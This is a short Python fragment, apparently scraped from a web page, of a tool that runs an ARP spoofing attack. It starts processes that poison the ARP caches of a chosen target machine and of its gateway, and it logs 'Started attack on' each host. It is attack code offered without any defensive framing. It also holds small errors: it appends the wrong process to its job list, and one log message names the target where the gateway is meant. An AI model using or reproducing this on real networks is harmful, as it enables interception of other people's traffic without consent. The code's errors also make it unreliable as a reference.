def arp_spoof(self, tm):
arp = Arp_Spoof(args.iface)
try:
log.status("{} ({}) is at {}".format(socket.gethostbyaddr(args.target)[0], args.target, tm))
except socket.herror:
log.warn("{} is at {}".format(args.target, tm))
ajobs = []
victim_thread = multiprocessing.Process(target=arp.poison_victim, args=(args.target, args.gateway, int(verbose), args.iface, tm))
ajobs.append(victim_thread)
victim_thread.start()
try:
vname = socket.gethostbyaddr(args.target)[0]
vname = vname.replace('.home', " ")
log.status("Started attack on {}".format(vname))
except socket.herror:
log.warn("Started attack on {}".format(args.target))
target_thread = multiprocessing.Process(target=arp.poison_router, args=(args.gateway, args.target, int(verbose), args.iface, tm))
ajobs.append(victim_thread)
target_thread.start()
try:
rname = socket.gethostbyaddr(args.gateway)[0]
rname = rname.replace('.home', " ")
log.status("Started attack on {}".format(rname))
except socket.herror:
log.warn("Started attack on {}".format(args.target))
评论列表
文章目录